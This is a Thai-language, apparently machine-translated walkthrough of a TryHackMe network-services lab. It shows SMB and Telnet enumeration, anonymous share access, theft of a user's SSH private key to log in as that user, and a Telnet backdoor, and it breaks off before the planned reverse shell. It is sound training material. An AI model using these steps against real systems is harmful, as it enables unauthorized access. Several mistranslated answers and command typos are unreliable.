นี่เป็นบทความเกี่ยวกับห้อง TryHackMe.com ซึ่งเป็นบริการเครือข่าย ที่สร้างโดย Polomints
บทความนี้จะรวมคำตอบสำหรับคำถามส่วนใหญ่ แต่ตามที่ TryHackMe ร้องขอ จะไม่รวมค่าสถานะหรือรหัสผ่าน
ห้องนี้สามารถพบได้ในเส้นทางการเรียนรู้ Cyber Defense ในขณะที่เขียนและที่นี่
คุณสามารถดูคำแนะนำแบบวิดีโอของฉันได้ที่นี่
งานในห้องนี้เป็นไปตามรูปแบบที่ซ้ำกัน การทำความเข้าใจ การแจกแจง และการใช้ประโยชน์ งานการทำความเข้าใจจะสอนคุณเกี่ยวกับบริการที่คุณจะนำไปใช้ประโยชน์ งานการแจงนับจะสอนวิธีรวบรวมข้อมูลเกี่ยวกับบริการ จากนั้น งานการหาประโยชน์ ให้คุณดำเนินการหาประโยชน์สำหรับแต่ละบริการ
VM ที่ห้องนี้ใช้ทั้งหมดอยู่ในงานการแจงนับ ซึ่งแสดงด้วยไอคอนสแต็กสีเขียว - เนื่องจาก VM อาจใช้เวลาตั้งแต่ 1-5 นาทีในการหมุน ฉันขอแนะนำว่าก่อนที่คุณจะเริ่มงานทำความเข้าใจ ให้กระโดดลงไปที่งานการแจกแจงแล้วเริ่มต้นเครื่อง นั่นทำให้มีเวลาในการตั้งค่าในขณะที่คุณย้อนกลับไปและดำเนินการตามภารกิจการทำความเข้าใจ
นอกจากนี้ สมมติว่าคุณยังใหม่กับ TryHackMe เช่นเดียวกับฉัน ในกรณีดังกล่าว คุณอาจมีประสบการณ์เฉพาะ VM ที่คุณสามารถเชื่อมต่อด้วย OpenVPN โดยการป้อนที่อยู่ IP ลงในเบราว์เซอร์ของคุณ ซึ่งโดยปกติจะมีหมายเลขพอร์ตที่กล่าวถึงในงาน ซึ่งจะพาคุณไปยัง GUI นั่นไม่ใช่กรณีของห้องนี้ VM เหล่านี้ได้รับการตั้งค่าเพื่อให้บริการที่คุณกำลังทดสอบและเฉพาะบริการเหล่านั้นเท่านั้น นั่นหมายความว่าคุณจะใช้ Terminal บนเครื่องของคุณ, Attack Box หรือหากคุณเป็นผู้ใช้ระดับพรีเมียม จะใช้ Kali box บนเบราว์เซอร์เพื่อสื่อสารกับ VM ฉันใช้กล่อง Kali ที่ใช้เบราว์เซอร์
หากคุณจะใช้เครื่องในพื้นที่ของคุณ ฉันขอแนะนำให้ใช้เครื่อง Linux หรือระบบย่อย Windows สำหรับ Linux ที่ติดตั้ง Kali/รสชาติที่คุณชื่นชอบ เครื่องมือทั้งหมดที่คุณต้องการได้รับการติดตั้ง Kali ไว้ล่วงหน้าแล้ว แต่สามารถเพิ่มลงใน distros อื่นได้ นอกจากนี้ ฉันไม่มีระบบย่อย Windows สำหรับ Linux บนเครื่องของฉัน ดังนั้นคุณอาจต้องค้นหาบางสิ่งด้วยตัวเอง
มีส่วนหนึ่งที่ต้องใช้ไฟล์ที่ให้มาในเครื่อง Kali ที่ใช้เบราว์เซอร์/Attack Box หากคุณต้องการใช้เครื่องของคุณ คุณจะต้องเริ่มต้น Attack Box และดาวน์โหลดไฟล์นี้ คุณสามารถใช้ Attack Box สำหรับภารกิจที่ 10 เท่านั้น
@@ ฉันได้เรียนรู้ในเวลาต่อมาว่าคุณสามารถดาวน์โหลดไฟล์ได้จาก GitHub ที่ rockyou.txt นั่นเป็นวิธีที่ง่ายที่สุด แต่ฉันจะทิ้งคำแนะนำเพิ่มเติมไว้ที่นี่เผื่อใครๆ ก็อยากลองใช้ -
วิธีดาวน์โหลดโดยใช้ WinSCP บน Windows 10
หากคุณต้องการดาวน์โหลดไฟล์ขนาด 136MB และใช้เทอร์มินัลในเครื่องของคุณ ต่อไปนี้เป็นวิธีดำเนินการบนเครื่อง Windows สำหรับการถ่ายโอน ฉันใช้ WinSCP ขั้นแรก ให้เริ่ม Splitview Attack Box จากนั้นเมื่อคุณสามารถเข้าถึงเดสก์ท็อปได้ให้คลิกที่ “i” ซึ่งอยู่ที่ด้านล่างซ้ายของหน้าจอ - ซึ่งจะให้ที่อยู่ IP ชื่อผู้ใช้และรหัสผ่านของ Attack Box แก่คุณ จากนั้นใน WinSCP บนหน้าจอเข้าสู่ระบบ ให้เลือก “ไซต์ใหม่” จากนั้นป้อนที่อยู่ IP ของ Attack Box เป็นชื่อโฮสต์ ชื่อผู้ใช้เป็นชื่อผู้ใช้ และรหัสผ่านเป็นรหัสผ่าน
โปรดจำไว้ว่า; ข้อมูลของคุณจะแตกต่างจากของฉัน เลือก sftp เป็นโปรโตคอล และควรเติมพอร์ต 22 โดยอัตโนมัติ ถ้าไม่เช่นนั้น ให้พิมพ์ 22 สำหรับพอร์ต จากนั้นคลิกเข้าสู่ระบบ คุณอาจได้รับป๊อปอัปถามว่าคุณต้องการ “เชื่อมต่อกับเซิร์ฟเวอร์ที่ไม่รู้จักต่อไป…” คลิกใช่หรือไม่ เมื่อเข้าสู่ระบบแล้ว คุณจะอยู่ในไดเร็กทอรีรากของ Attack Box; ดับเบิลคลิก “เครื่องมือ” จากนั้นคลิก “wordlists” (เส้นทางใน WinSCP จะเปลี่ยนเป็น /usr/share/wordlists/
ก็ได้) ค้นหาไฟล์ชื่อ rockyou.txt เลือกไฟล์นั้น แล้วคลิกดาวน์โหลด
กล่องโต้ตอบดาวน์โหลดจะเปิดขึ้น เลือกเส้นทางไฟล์ที่คุณต้องการ แล้วคลิกตกลง ตอนนี้คุณมีไฟล์ที่คุณต้องการสำหรับภารกิจที่ 10 แล้ว จำเส้นทางของไฟล์ไว้ คุณจะต้องการมัน
สิ้นสุด วิธีดาวน์โหลดโดยใช้ WinSCP บน Windows 10
วิธีดาวน์โหลดโดยใช้เทอร์มินัล Linux
เช่นเดียวกับ Windows คุณจะเริ่ม Attack Box แบบแยกมุมมอง จากนั้นเมื่อคุณสามารถเข้าถึงเดสก์ท็อปได้ให้คลิกที่ “i” ซึ่งอยู่ที่ด้านล่างซ้ายของหน้าจอ - ซึ่งจะให้ที่อยู่ IP ชื่อผู้ใช้และรหัสผ่านของ Attack Box แก่คุณ
ในเทอร์มินัลของคุณ คุณจะต้องพิมพ์ sftp root@{Your Attack Box Private IP}
โดยไม่มีวงเล็บ ลบวงเล็บปีกกาทุกครั้งเมื่อดำเนินการคำสั่งในบทความนี้ ชื่อผู้ใช้ของ Attack Box ทุกอันที่ฉันเห็นคือรูท หากคุณแตกต่างให้ป้อนชื่อผู้ใช้แทนรูทในคำสั่งด้านบน จากนั้นระบบจะถามรหัสผ่านจากคุณ คัดลอกและวางรหัสผ่านจากหน้าต่างข้อมูลเครื่องของ Attack Box ไม่ต้องกังวลหากรหัสผ่านไม่แสดงขึ้นมา เพียงวาง/พิมพ์ลงไปแล้วกด Enter หลังจากเชื่อมต่อแล้ว คุณควรได้รับข้อความแจ้ง sftp>
หากมีสิ่งผิดปกติเกิดขึ้น ให้ตรวจสอบอีกครั้งว่าคุณเชื่อมต่อ OpenVPN แล้ว และคุณใช้ชื่อผู้ใช้/ที่อยู่ IP/รหัสผ่านที่ถูกต้อง เมื่อคุณได้รับพรอมต์ sftp
ให้พิมพ์ get /root/Desktop/Tools/wordlists/rockyou.txt
โดยให้ความสำคัญกับการใช้อักษรตัวพิมพ์ใหญ่เป็นพิเศษ ควรเริ่มดาวน์โหลดไฟล์ไปยังระบบภายในเครื่องของคุณ
หากคุณใช้ distro ที่คล้ายกันกับเหมือง (Kali) ควรวางไฟล์ลงในโฟลเดอร์โฮมของผู้ใช้ของคุณ จำเส้นทางของไฟล์ คุณจะต้องใช้มันสำหรับงานที่ 10
สิ้นสุด วิธีดาวน์โหลดโดยใช้เทอร์มินัล Linux
เอาล่ะ มาถึงภารกิจกันดีกว่า!
งานนี้เป็นการให้ข้อมูลเพียงอย่างเดียวและไม่ต้องการคำตอบสำหรับคำถาม การอ่านจะช่วยให้คุณรู้ว่าคุณต้องการความเข้าใจพื้นฐานเกี่ยวกับการนำทางระบบ Linux และแนะนำห้องเพื่อทบทวนทักษะของคุณ นอกจากนี้ยังเตือนให้คุณรักษาร่างกายให้ชุ่มชื้น
คลิกปุ่มเสร็จสิ้นและไปยังงานถัดไป
งานนี้สอนคุณเกี่ยวกับบริการ Microsoft Server Message Block (SMB) ซึ่งเป็นโปรโตคอลไคลเอ็นต์-เซิร์ฟเวอร์ที่ใช้ในการแชร์การเข้าถึงไฟล์ เครื่องพิมพ์ และทรัพยากรอื่นๆ ทั่วทั้งเครือข่าย เนื่องจากเป็นงานเชิงทฤษฎี โปรดอ่านข้อมูลและตอบคำถามด้านล่าง หากคุณไม่เคยเห็นคำว่า NetBEUI มาก่อน และฉันจะไม่ตำหนิคุณเลย ถ้าคุณไม่เคยได้ยิน คำนี้ออกเสียงว่า Net Buoy เหมือนทุ่นลอยน้ำในมหาสมุทร
หากคุณต้องการลดเวลารอให้เหลือน้อยที่สุด ฉันขอแนะนำให้เปิดงานที่ 3 แล้วคลิกปุ่ม “Start Machine” สีเขียวทันที จากนั้นเลื่อนกลับขึ้นไปและดำเนินการงานนี้
คำถามที่ 1
เอสเอ็มบี ย่อมาจากอะไร?
บล็อกข้อความเซิร์ฟเวอร์
คำถามที่ 2
SMB เป็นโปรโตคอลประเภทใด
การตอบสนองคำขอ
คำถามที่ 3
ไคลเอนต์เชื่อมต่อกับเซิร์ฟเวอร์โดยใช้อะไร?
ทีพีซี/ไอพี
คำถามที่ 4
Samba ทำงานบนระบบใดบ้าง?
ยูนิกซ์
งานนี้ครอบคลุมขั้นตอนการรวบรวมข้อมูลซึ่งมีความสำคัญอย่างยิ่งต่อการตั้งค่าการแสวงหาผลประโยชน์ที่ประสบความสำเร็จ
หากคุณทำตามคำแนะนำข้างต้น แสดงว่าคุณเริ่มต้นเครื่องสำหรับงานนี้ก่อนที่จะเสร็จสิ้นภารกิจที่ 2 ถ้าไม่ โปรดเริ่มเครื่องทันทีโดยคลิกปุ่มสีเขียวที่มีข้อความว่า "เริ่มเครื่อง" เมื่อเครื่องเริ่มทำงานโดยสมบูรณ์แล้ว คุณจะเห็นที่อยู่ IP ที่ด้านบนของหน้า คุณจะต้องการมัน
เริ่มต้นด้วยคำอธิบายสั้น ๆ ของเครื่องมือสแกนพอร์ต Nmap หากคุณต้องการ/ต้องการประสบการณ์เพิ่มเติมกับ Nmap ก่อนดำเนินการต่อ ขอแนะนำห้องที่เป็นส่วนหนึ่งของซีรีส์ Red Primer มีเพียงสองตัวเลือกที่คุณจะต้องรู้สำหรับห้องนี้คือ -A
ซึ่งช่วยให้สามารถตรวจจับระบบปฏิบัติการ การตรวจจับเวอร์ชัน การสแกนสคริปต์ และการติดตาม และตัวเลือก -p-
ซึ่งบอกให้ Nmap สแกนพอร์ตทั้งหมด ไม่ใช่แค่ 1,000 ที่พบบ่อยที่สุด ไวยากรณ์สำหรับการสแกน Nmap ที่เราจะใช้ที่นี่คือ nmap {options} {target}
ดังนั้น สำหรับการสแกนครั้งแรก จะมีลักษณะประมาณ nmap -A -p- 10.10.10.10
โดยมี IP ของเครื่องที่ใช้งานอยู่แทนที่ 10 ทั้งหมด ภาพหน้าจอนี้แสดงตำแหน่งที่คุณจะพบ IP เครื่องของคุณ ตรวจสอบให้แน่ใจว่าใช้ IP ของเครื่องที่ใช้งานอยู่ และอย่าคัดลอกเพียงอันที่คุณเห็นที่นี่
เราจะใช้เครื่องมือ enum4linux ซึ่งเป็นสิ่งใหม่สำหรับฉันด้วย enum4linux ใช้เพื่อระบุการแชร์ SMB บนระบบ Windows และ Linux มีรายการตัวเลือก enum4linux ที่ใช้ได้ อย่างไรก็ตาม ตัวเลือก -a
ซึ่งครอบคลุมทั้งหมดคือสิ่งที่ฉันใช้ หมายเหตุ: ข้อมูลที่ให้ไว้สำหรับ enum4linux อธิบายตัวเลือกเป็น -A
ด้วยตัวพิมพ์ใหญ่ ซึ่งไม่ถูกต้อง มันจะต้องเป็นตัวพิมพ์เล็ก a
คำถามที่ 1
ทำการสแกน Nmap ที่คุณเลือก เปิดได้กี่พอร์ต?
สำหรับคำถามนี้ คุณสามารถดำเนินการสแกน Nmap พื้นฐานของ nmap {IP of your Active Machine}
ได้ อย่างไรก็ตาม หากคุณต้องการสแกน 1 ครั้งและรับข้อมูลเกือบทั้งหมดสำหรับคำถามต่อไปนี้ ให้รัน nmap -A -p- {IP of your Active Machine}
นี่คือข้อมูลที่คุณได้รับจากการสแกนขั้นพื้นฐาน
อย่างที่คุณเห็นจากผลการสแกน มีพอร์ตที่เปิดอยู่ 3 พอร์ต ได้แก่ 22, 139 และ 445 อย่างไรก็ตาม เรายังไม่ต้องการอะไรอีกมาก
คำถามที่ 2
SMB ทำงานบนพอร์ตใด
คำถามนี้ซับซ้อนกว่าเล็กน้อย SMB เป็นส่วนหนึ่งของ Microsoft-ds บนพอร์ต 445 แต่สามารถทำงานบน NetBIOS ได้ที่ 139 ดังนั้นคำตอบสำหรับคำถามนี้คือทั้งสองอย่าง
139/445
คำถามที่ 3
มาเริ่มกันที่ enum4linux ทำการแจงนับพื้นฐานแบบเต็ม สำหรับผู้เริ่มต้น ชื่อ เวิร์กกรุ๊ป คืออะไร?
สำหรับคำถามนี้ หากคุณรัน nmap -A {Your Machine's IP}
ว่าคุณมีข้อมูลนั้นอยู่แล้ว
อย่างไรก็ตาม คำถามนี้กำลังสอนเราเกี่ยวกับ enum4linux ดังนั้นลองใช้มันดู เรียกใช้ enum4linux -a {IP Address of your Active Machine}
ดังที่คุณเห็นจากภาพหน้าจอด้านบน เวิร์กกรุ๊ปจะแสดงเป็น WORKGROUP
คำถามที่ 4
ชื่อ เครื่องว่าอะไรครับ?
สำหรับคำถามนี้ คุณจะต้องเลื่อนลงไปที่ส่วน "ผลลัพธ์สคริปต์โฮสต์" ของผลลัพธ์การสแกน หากคุณใช้ nmap -A -p-
ภายใต้ชื่อคอมพิวเตอร์ จะแสดง polosmb
สำหรับ enum4linux คุณต้องอนุมานเพิ่มเติมอีกเล็กน้อย
คำถามที่ 5
คำตอบสำหรับคำถามนี้รวมอยู่ในภาพหน้าจอด้านบนด้วย
ระบบปฏิบัติการ เวอร์ชัน ใดที่ใช้งานอยู่?
6.1
คำถามที่ 6
คำถามนี้สามารถตอบได้ด้วย enum4linux เท่านั้น เรียกใช้ enum4linux -A {IP of your Active Machine}
หุ้นใดที่ยื่นออกมาเป็นสิ่งที่เราอาจต้องการตรวจสอบ?
IPC$ คือการสื่อสารระหว่างกระบวนการ จะไม่ต้องการสิ่งนั้น print$ ใช้สำหรับไดรเวอร์เครื่องพิมพ์ ไม่ใช่สิ่งที่เราต้องการจริงๆ netlogon สำหรับ Network Logon Service อาจจะไม่มีข้อมูลที่เราต้องการ นั่นทำให้ profiles
ซึ่งมีข้อมูลเกี่ยวกับโปรไฟล์ผู้ใช้ นั้นมีศักยภาพ เราอาจพบข้อมูลการเข้าสู่ระบบของผู้ใช้ที่นั่น
นี่คือจุดที่เราจะสนุกสนานมากยิ่งขึ้น เราจะใช้ SMBClient ซึ่งมีอยู่ใน Kali แต่สามารถเพิ่มลงใน distros อื่นๆ ได้ สำหรับ SMBClient เราจะใช้ไวยากรณ์ smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
คำถามที่ 1
ไวยากรณ์ที่ถูกต้องในการเข้าถึงการแบ่งปัน SMB ที่เรียกว่า "ความลับ" ในฐานะผู้ใช้ "เหมาะสม" บนเครื่องที่มี IP 10.10.10.2 บนพอร์ตเริ่มต้นคืออะไร
เมื่อดูไวยากรณ์ข้างต้น เราก็สามารถเสียบข้อมูลได้เลย
smbcliet //10.10.10.2/secret -U suit -p 445
คำถามที่ 2 เยี่ยมมาก! ตอนนี้คุณเข้าใจไวยากรณ์แล้ว เรามาลองใช้ช่องโหว่นี้กันดีกว่า คุณมีรายชื่อผู้ใช้ ชื่อการแชร์ และช่องโหว่ที่น่าสงสัย
ไม่ต้องการคำตอบ เพียงคลิกเสร็จสิ้น
คำถามที่ 3
มาดูกันว่าการแบ่งปันที่น่าสนใจของเราได้รับการกำหนดค่าให้อนุญาตการเข้าถึงแบบไม่ระบุชื่อหรือไม่ เช่น; ไม่จำเป็นต้องมีการรับรองความถูกต้องเพื่อดูไฟล์ เราสามารถทำได้ง่ายๆ โดย:
โดยใช้ชื่อผู้ใช้ “นิรนาม”
เชื่อมต่อกับส่วนแบ่งที่เราพบในขั้นตอนการแจงนับ
และไม่แจ้งรหัสผ่าน
เมื่อระบบถามรหัสผ่าน เพียงกด Enter
การแชร์อนุญาตให้เข้าถึงโดยไม่ระบุชื่อหรือไม่? ใช่/ไม่ใช่?
หากคุณเห็นข้อความแจ้ง smb: > นั่นหมายความว่าคุณเข้าสู่ระบบสำเร็จโดยไม่ต้องระบุรหัสผ่าน ดังนั้น Y
การแชร์จึงอนุญาตให้เข้าถึงโดยไม่ระบุชื่อ
คำถามที่ 5
ป้อน ls
เพื่อดูเนื้อหาของการแชร์ เห็นว่าน่าจะมีข้อมูลอะไรให้เราบ้าง?
คนแรกที่กระโดดมาหาฉันคือไฟล์ข้อความ โปรดทราบว่า Linux ไม่ชอบไฟล์ที่มีการเว้นวรรคในชื่อ ดังนั้นคุณจะต้องเพิ่ม “ “ รอบๆ ไฟล์ในคำสั่งของคุณ อย่างที่เทอร์มินัลบอก การพิมพ์ “help” จะทำให้คุณได้รับรายการคำสั่งที่มีอยู่ ซึ่งฉันพบว่ามีประโยชน์มาก
โดยปกติแล้ว ฉันจะใช้ cat
เพื่อแสดงเนื้อหาของไฟล์ .txt แต่มันไม่อยู่ในรายการ ดูเหมือนว่า SMBClient จะไม่รู้จักสิ่งนั้น ดังนั้นฉันจึงทำ more
ไฟล์นี้ให้ข้อมูลสำคัญสองชิ้นแก่เรา ชื่อผู้ใช้ที่เป็นไปได้โดยอ้างอิงจาก John Cactus ที่อยู่ของไฟล์ และ John ได้ตั้งค่าบัญชี SSH แล้ว
ยอดเยี่ยม! ตรวจดูเอกสารที่น่าสนใจที่อาจมีข้อมูลอันมีค่าไปรอบๆ ใครบ้างที่เราสามารถสรุปได้ว่าโฟลเดอร์โปรไฟล์นี้เป็นของใคร
จอห์น แคคตัส
คำถามที่ 6
การอ่านไฟล์ .txt ในคำถามก่อนหน้านี้ทำให้เรามีคำตอบสำหรับคำถามนี้เช่นกัน
มีบริการใดบ้างที่ได้รับการกำหนดค่าเพื่อให้เขาทำงานจากที่บ้านได้
สสส
คำถามที่ 7
ตอนนี้เราสร้างไฟล์ .txt เสร็จแล้ว ให้กด “q” เพื่อออกจากโปรแกรมแก้ไข
ตกลง! ตอนนี้เรารู้สิ่งนี้แล้ว เราควรดูไดเร็กทอรีใดในการแชร์
เนื่องจากเรากำลังมองหาข้อมูลเพิ่มเติมเกี่ยวกับบัญชี SSH ของ John ฉันคิดว่ามีโฟลเดอร์ในนี้ที่อาจเป็นประโยชน์มาก คุณคิดว่ามันคืออันไหน?
.ssh
คำถามที่ 8
ไดเร็กทอรีนี้มีคีย์การตรวจสอบสิทธิ์ที่อนุญาตให้ผู้ใช้ตรวจสอบสิทธิ์ตนเองและเข้าถึงเซิร์ฟเวอร์ได้ กุญแจใดต่อไปนี้มีค่าที่สุดสำหรับเรา?
ดังนั้นเราจะไปที่ cd ลงในโฟลเดอร์ .ssh โดยป้อน cd .ssh
จากนั้นรันคำสั่ง ls
อีกครั้งเพื่อดูเนื้อหา
คีย์ SSH เริ่มต้นจะถูกเก็บไว้ในไฟล์ id_rsa
นั่นคือคำตอบของเรา
หากคุณต้องการดูว่าคีย์ SSH มีลักษณะอย่างไร คุณสามารถใช้คำสั่งเพิ่มเติมอีกครั้งเพื่อดูได้ more id_rsa
ส่วนที่สำคัญที่สุดที่ต้องดูคือเริ่มต้นด้วย "BEGIN RSA PRIVATE KEY" โดยมีขีดกลาง 5 อันทั้งสองด้าน จากนั้นลงท้ายด้วย “END RSA PRIVATE KEY” โดยมี 5 ขีดที่ด้านใดด้านหนึ่ง จากนั้น “q” อีกครั้งเพื่อออกจากโปรแกรมแก้ไข
ตอนนี้เราสามารถทำการทบทวนเพิ่มเติมเพื่อทำให้คำถามต่อไปง่ายขึ้นนิดหน่อย เรียกใช้ more id_isa.pub
และดูสิ่งที่คุณเห็นได้ที่ส่วนท้ายสุดของไฟล์
คำถามที่ 9
ดาวน์โหลดไฟล์นี้ลงในเครื่องของคุณ และเปลี่ยนสิทธิ์เป็น "600" โดยใช้ "chmod 600 [ไฟล์]"
หากต้องการดาวน์โหลดไฟล์ ให้ดูที่คำสั่ง help และดูคำสั่งที่คุณคิดว่าน่าจะนำไปสู่การดาวน์โหลดมากที่สุด
ฉันคิดว่า get
จะช่วยรักษาได้ ดังนั้น หากต้องการดาวน์โหลดไฟล์ในขณะที่ยังอยู่ในโฟลเดอร์ .ssh คุณจะต้องเรียกใช้ get id_rsa
บนเครื่องที่ใช้เบราว์เซอร์ Kali ไฟล์นั้นจะวางลงในไดเร็กทอรีรากของคุณ หากคุณใช้ distro Linux ที่รันในเครื่อง มันอาจจะวางลงในโฮมไดเร็กตอรี่ของผู้ใช้ของคุณ
ตอนนี้ไฟล์คีย์ RSA ต้องการการรักษาความปลอดภัยในระดับหนึ่งเพื่อให้ทำงานได้ ดังนั้นเราจึงจำเป็นต้องตั้งค่าการอนุญาตที่ถูกต้องสำหรับไฟล์นี้ เรายังลดราคาส่วนแบ่งอีกด้วย ดังนั้นให้รัน quit
เพื่อกลับไปยังข้อความแจ้งของเครื่องของคุณ จากนั้นรัน chmod 600 {File Path}
ดังนั้นสำหรับเครื่องเว็บ Kali chmod 600 id_rsa
สำหรับเครื่องอื่นๆ คุณสามารถนำทางไปยังโฟลเดอร์ที่ไฟล์นั้นใช้ cd
แล้วรันคำสั่งด้านบน โดยเราพิมพ์เส้นทางไปยังไฟล์ในคำสั่ง
ตอนนี้ ใช้ข้อมูลที่คุณได้รวบรวมไว้เพื่อหาชื่อผู้ใช้ของบัญชี จากนั้นใช้บริการและรหัสเพื่อเข้าสู่เซิร์ฟเวอร์
เนื่องจากเราทำการปรับปรุงเพิ่มเติมเล็กน้อย เราจึงรู้ว่าชื่อผู้ใช้คือ "cactus" เมื่อฉันทำสิ่งนี้ครั้งแรก ฉันคิดว่าชื่อผู้ใช้คือ j.cactus และพบข้อผิดพลาดที่ฉันไม่เข้าใจ การค้นหาชื่อผู้ใช้ที่ถูกต้องช่วยแก้ปัญหาได้
ไวยากรณ์สำหรับ SSH โดยใช้คีย์ที่ระบุคือ: ssh -i {Key File} {Username}@{IP Address}
สำหรับเรา นั่นจะเป็น ssh -i id_rsa cactus@{Active Machine's IP Address}
เมื่อระบบถามว่าคุณแน่ใจหรือไม่ว่าต้องการดำเนินการต่อ ให้พิมพ์ "ใช่" แล้วกด Enter ยินดีด้วย! เมื่อคุณเห็นข้อความแจ้งเปลี่ยนเป็น cactus@polosmb:~$
แสดงว่าคุณได้ลงชื่อเข้าใช้เซิร์ฟเวอร์ด้วยบัญชีที่ไม่ใช่ของคุณเรียบร้อยแล้ว
ใช้คำสั่ง ls
เพื่อดูว่ามีอะไรอยู่ที่นี่ ไฟล์เดียวเท่านั้น เปิดมันขึ้นมาเพื่อที่คุณจะได้ยึดธงนั้นได้! คุณสามารถใช้ cat
ที่นี่เพื่อพิมพ์เนื้อหาลงบนหน้าจอ
คำถามที่ 10
คัดลอกเนื้อหาของไฟล์ที่คุณเพิ่งเปิดและวางลงในช่องสำหรับคำตอบนี้ TryHackMe ขอให้ผู้เขียนไม่รวม Flags ดังนั้นฉันจะไม่โพสต์ไว้ที่นี่
เมื่อส่วน SMB เสร็จสิ้นแล้ว คุณควรยุติ Active Machine ปัจจุบัน ข้ามไปที่ Task 6 และเริ่มเครื่องนั้น ก่อนที่จะกลับไปที่ Task 5
Telnet เป็นโปรโตคอลแอปพลิเคชันที่ล้าสมัย มันถูกใช้เพื่อโต้ตอบกับโฮสต์ระยะไกล เมื่อเชื่อมต่อกับระบบระยะไกลแล้ว ระบบจะกลายเป็นเทอร์มินัลเสมือนสำหรับระบบนั้น อย่างไรก็ตาม มันล้าสมัยเพราะส่งข้อมูลทั้งหมดในรูปแบบข้อความที่ชัดเจน ไม่มีการเข้ารหัส เนื่องจากมีความปลอดภัยมากกว่ามาก SSH จึงเข้ามาแทนที่ Telnet ในสถานการณ์ส่วนใหญ่ หากต้องการเชื่อมต่อกับระบบระยะไกลโดยใช้ Telnet คุณใช้ไวยากรณ์ telnet {IP Address} {port Number}
พอร์ตเริ่มต้นสำหรับ Telnet คือ 23
คำถามที่ 1
เทลเน็ตคืออะไร?
โปรโตคอลแอปพลิเคชัน
คำถามที่ 2
อะไรเข้ามาแทนที่ Telnet อย่างช้าๆ?
สสส
คำถามที่ 3
คุณจะเชื่อมต่อกับเซิร์ฟเวอร์ Telnet ด้วย IP 10.10.10.3 บนพอร์ต 23 ได้อย่างไร
เทลเน็ต 10.10.10.3 23
คำถามที่ 4
การขาดสิ่งที่หมายความว่าการสื่อสาร Telnet ทั้งหมดอยู่ในรูปแบบข้อความธรรมดา?
การเข้ารหัส
หากคุณยังไม่ได้สตาร์ทเครื่องสำหรับงานนี้ โปรดดำเนินการทันที
เช่นเดียวกับงาน SMB เราจะเริ่มต้นด้วยการสแกนพอร์ตของระบบเป้าหมายของเรา
เรียกใช้ nmap -A -p- {IP address of your Active Machine}
การสแกนนี้อาจใช้เวลาสักครู่ เหมืองเสร็จสมบูรณ์ใน 174.56 วินาที
คำถามที่ 1
เครื่องเป้าหมายเปิดกี่พอร์ต?
มีเพียงพอร์ต "1" ที่เปิดอยู่
คำถามที่ 2
นี่คือพอร์ตอะไร? หมายเหตุ: นี่เป็นการถามว่าพอร์ตใดเปิดอยู่
8012
คำถามที่ 3
พอร์ตนี้ไม่ได้ถูกกำหนด แต่ยังคงแสดงรายการโปรโตคอลที่ใช้อยู่ นี่คือโปรโตคอลอะไร?
TCP
คำถามที่ 4
ตอนนี้รันการสแกน Nmap อีกครั้งโดยไม่มีแท็ก -p- มีกี่พอร์ตที่แสดงเป็นเปิด?
โปรดจำไว้ว่า -p-
ตัวเลือกจะบอก Nmap ให้สแกนพอร์ตทั้งหมด ดังนั้นเมื่อลบออก Nmap จะสแกนเฉพาะพอร์ต 1,000 อันดับแรกเท่านั้น
พอร์ต “0” เปิดอยู่
คำถามที่ 5
เราพบว่าการกำหนด Telnet ให้กับพอร์ตที่ไม่ได้มาตรฐานนั้นไม่ได้เป็นส่วนหนึ่งของรายการพอร์ตทั่วไปหรือพอร์ต 1,000 อันดับแรกที่ Nmap สแกน จำเป็นอย่างยิ่งที่ต้องลองทุกมุมเมื่อแจกแจง เนื่องจากข้อมูลที่คุณรวบรวมที่นี่จะแจ้งขั้นตอนการแสวงหาประโยชน์ของคุณ
ไม่ต้องการคำตอบ คลิกเสร็จสิ้น
คำถามที่ 6
จากชื่อเรื่องที่ส่งกลับมาให้เรา เราคิดว่าพอร์ตนี้สามารถนำไปใช้ทำอะไรได้?
คุณสามารถดูสิ่งที่คำถามนี้พูดถึงได้ที่ด้านล่างของภาพหน้าจอสุดท้าย
ประตูหลัง
คำถามที่ 7
มันจะเป็นของใครได้บ้าง? การรวบรวมชื่อผู้ใช้ที่เป็นไปได้เป็นขั้นตอนสำคัญในการแจงนับ
เช่นเดียวกับคำถามสุดท้าย ข้อมูลในภาพหน้าจอสุดท้าย
สกายดี้
คำถามที่ 8
จดบันทึกข้อมูลที่คุณพบในระหว่างขั้นตอนการแจงนับเสมอ เพื่อให้คุณสามารถย้อนกลับไปดูข้อมูลดังกล่าวได้เมื่อคุณดำเนินการต่อเพื่อลองใช้ช่องโหว่
การเก็บบันทึกเป็นสิ่งสำคัญมาก การเขียนรายงานการค้นพบของเราเป็นส่วนสำคัญของการรักษาความปลอดภัย การจดบันทึกอย่างละเอียดจนเป็นนิสัยจะทำให้ทุกอย่างง่ายขึ้น
ไม่ต้องการคำตอบ คลิกเสร็จสิ้น
รายละเอียดวิธีการ
ดังนั้น จากขั้นตอนการแจกแจงของเรา เราจึงรู้ว่า:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
เมื่อใช้ข้อมูลนี้ เราจะลองเข้าถึงพอร์ต Telnet นี้และใช้พอร์ตนั้นเป็นจุดตั้งหลักเพื่อรับเชลล์แบบย้อนกลับแบบเต็มบนเครื่อง!
โปรดจำไว้ว่าจากด้านบน ไวยากรณ์สำหรับ telnet คือ telnet {Machine IP} {Port}
คำถามที่ 1
เอาล่ะ มาลองเชื่อมต่อกับพอร์ตเทลเน็ตนี้กันดีกว่า! หากคุณติดขัด โปรดดูไวยากรณ์สำหรับการเชื่อมต่อที่อธิบายไว้ด้านบน
สำหรับสิ่งนี้ คุณจะต้องเรียกใช้ telnet {Your Active Machine's IP Address} 8012
เนื่องจากแม้ว่าพอร์ตเริ่มต้นสำหรับ Telnet จะเป็น 23 ตามที่เราพบในการค้นหา Nmap ของเรา แต่ระบบนี้มีพอร์ตที่ไม่ได้มาตรฐาน
ไม่ต้องการคำตอบ คลิกเสร็จสิ้น
คำถามที่ 2
ยอดเยี่ยม! เป็นการเชื่อมต่อ Telnet แบบเปิด! เราได้รับข้อความต้อนรับอะไรบ้าง?
ประตูหลังของ SKIDY
คำถามที่ 3
เรามาลองรันคำสั่งกัน เราได้รับผลตอบแทนจากอินพุตใด ๆ ที่เราเข้าสู่เซสชัน telnet หรือไม่? (มี/ไม่มี)
สำหรับอันนี้ ให้พิมพ์คำสั่งที่คุณต้องการ ฉัน ls
ดูว่ามีอะไรอยู่ที่นั่น และเนื่องจากเราไม่ได้รับข้อมูลตอบกลับ คำตอบสำหรับคำถามนี้คือ:
เอ็น
คำถามที่ 4
